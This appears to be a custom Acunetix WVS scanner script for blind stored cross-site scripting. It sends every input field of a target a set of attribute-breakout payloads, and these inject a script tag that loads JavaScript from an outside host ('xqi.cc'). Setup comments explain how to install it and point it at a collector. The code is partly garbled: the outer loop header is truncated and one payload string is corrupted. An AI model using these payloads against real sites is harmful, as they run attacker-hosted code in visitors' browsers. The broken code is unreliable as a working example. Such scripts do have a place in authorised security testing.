//
// https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/
//
// Rename to Blind_XSS.script and place this in C:\ProgramData\Acunetix WVS 8\Data\Scripts\
// You need co change the ctrl variable below to set the destination of the script to be
// executed.
//
var targetUrl = new TURL(scanURL.url);
logInfo("Started Blind Stored XSS on " + targetUrl);
// Change for the host containing the JS payload:
var ctrl = 'xqi.cc';
var payloads = [
'',
'"><"',
"'><'",
"\" onmouseover=\"var n=document.createElement('script'); n.type='text/javascript';n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);",
"\" onload=\"var n=document.createElement('script'); n.type='text/javascript';n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);",
"\" onmouseover=\"var n=document.createElement('script'); ext/javascript';n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);",
"\" onload=\"var n=document.createElement('script'); n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);"
];
var scheme = getCurrentScheme();
// a scheme can have multiple inputs
for (var i=0;i
for (var k = 0; k < payloads.length; k++) {
scheme.setInputValue(i, payloads[k]);
scheme.populateRequest(job);
job.execute();
}
}
}